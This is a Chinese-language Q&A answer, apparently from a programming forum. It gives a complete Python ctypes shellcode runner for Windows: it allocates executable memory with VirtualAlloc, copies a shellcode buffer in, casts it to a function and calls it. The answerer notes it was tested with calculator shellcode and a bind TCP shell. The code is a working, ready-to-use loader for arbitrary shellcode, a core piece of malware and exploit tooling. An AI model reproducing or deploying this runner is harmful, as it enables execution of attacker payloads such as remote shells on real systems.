1 回答
TA贡献1843条经验 获得超7个赞
这是有效的代码。使用上面的 shellcode,或者你自己的变量buf:
def run():
buffer = ctypes.create_string_buffer(buf)
length = len(buffer)
ptr = ctypes.windll.kernel32.VirtualAlloc(None, length, 0x1000|0x2000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ptr, buffer, length)
shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
shell_func()
if __name__ == '__main__':
run()
首先,分配足够的内存来保存 shellcode。VirtualAllocdefine中的两个常量
0x1000|0x2000= MEM_COMMIT | MEM_RESERVE(参见 MS 文档)
0x40PAGE_EXECUTE_READWRITE
接下来,将 shellcode 移动到分配的内存中。最后,将 shellcode 转换为一个函数并调用该函数。使用问题中给出的 shellcode(弹出式计算器)和绑定 tcp shell(未显示)进行测试。
仍然不知道为什么 python3 的行为不同,但看起来它正在尝试写入不可执行的内存。此方法适用于 Python2 或 Python3。
添加回答
举报
